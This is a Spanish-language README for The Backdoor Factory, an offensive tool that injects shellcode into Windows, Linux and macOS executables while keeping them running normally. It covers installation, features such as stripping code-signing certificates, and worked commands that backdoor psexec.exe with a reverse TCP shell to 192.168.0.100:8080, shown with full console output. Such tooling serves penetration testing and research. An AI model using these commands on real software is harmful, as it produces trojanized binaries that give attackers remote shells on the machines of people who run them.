Parchea binarios PE, ELF y Mach-O con shellcode, nueva versión en desarrollo, disponible solo para patrocinadores.
Solo para profesionales de la seguridad e investigadores.
El objetivo de BDF es parchear binarios ejecutables con el shellcode deseado por el usuario y continuar la ejecución normal del estado previamente parcheado.
Black Hat USA 2015:
Vídeo: https://www.youtube.com/watch?v=OuyLzkG16Uk
Documento: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
Vídeo: https://archive.org/details/joshpitts_shmoocon2015
Documento: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
Vídeo: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
Vídeo: http://www.youtube.com/watch?v=jXLb2RNX5xs
Demo del módulo de inyección: http://www.youtube.com/watch?v=04aJAex2o3U
Diapositivas: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Contacta con el desarrollador en:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
Bajo una licencia BSD de 3 cláusulas
Consulta la wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
###A LA ANTIGUA
####Dependencias #####Para usar OnionDuke DEBES estar en una máquina Intel, porque aPLib aún no tiene soporte para el chipset ARM.
El motor Capstone se puede instalar desde PyPi con:
sudo pip install capstone
Pefile, el más reciente:
https://code.google.com/p/pefile/
osslsigncode (incluido en el repositorio):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Instalación en Kali:
apt-get update
apt-get install backdoor-factory
Instalación en otros *NIX/MAC:
./install.sh
Esto instalará Capstone con 3.01 y pip para instalar pefile.
ACTUALIZACIÓN:
./update.sh
Soporta:
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
y Mach-O x86/x64, así como esos formatos en archivos FAT
Archivos empaquetados: PE UPX x86/x64
Experimental: OpenBSD x32
Algunos ejecutables tienen protecciones integradas, por lo que esto no funcionará en todos los binarios. Es recomendable que pruebes los binarios objetivo antes de implementarlos en clientes o utilizarlos en ejercicios. Estoy a punto de sortear NSIS, por lo que eludir estas comprobaciones se incluirá en el futuro.
Muchas gracias a Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Sin él, todavía estaría intentando hacer cosas estúpidas
con el formato elf.
Gracias también a Silvio Cesare con su artículo de 1998
(http://vxheaven.org/lib/vsc01.html) en el que se basan estas técnicas
de parcheo de ELF.
./backdoor.py -h Usage: backdoor.py [options]
##Características:
###Archivos PE
Puede encontrar todos los codecaves en un EXE/DLL.
Por defecto, limpia el puntero a la tabla de certificados PE, anulando así la firma de un binario.
Puede inyectar shellcode en codecaves o en una nueva sección.
Puede detectar si un binario PE necesita ejecutarse con privilegios elevados.
Al seleccionar codecaves, puedes usar los siguientes comandos:
-Jump (j), para salto de codecave
-Single (s), para parchear todo tu shellcode en una sola cavidad
-Append (a), para crear un codecave
-Ignore (i o q), da igual, ignora este binario
Puede ignorar DLLs
Parcheo de la tabla de importaciones
AutoParcheo (-m automtic)
Onionduke (-m onionduke)
###Archivos ELF
Extiende el SEGMENTO TEXT en 1000 bytes e inyecta shellcode en esa sección de código.
###Archivos Mach-O Parcheo de la sección Pre-Text y eliminación de firma
###En general
El usuario puede:
-Proporcionar shellcode personalizado.
-Parchear un directorio de ejecutables/DLLs.
-Seleccionar solo binarios x32 o x64 para parchear.
-Incluir BDF en otros proyectos de Python: consulta pebin.py y elfbin.py
###Parchear un exe/dll usando un codecave existente:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###Parchear un exe/dll añadiendo una sección de código:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory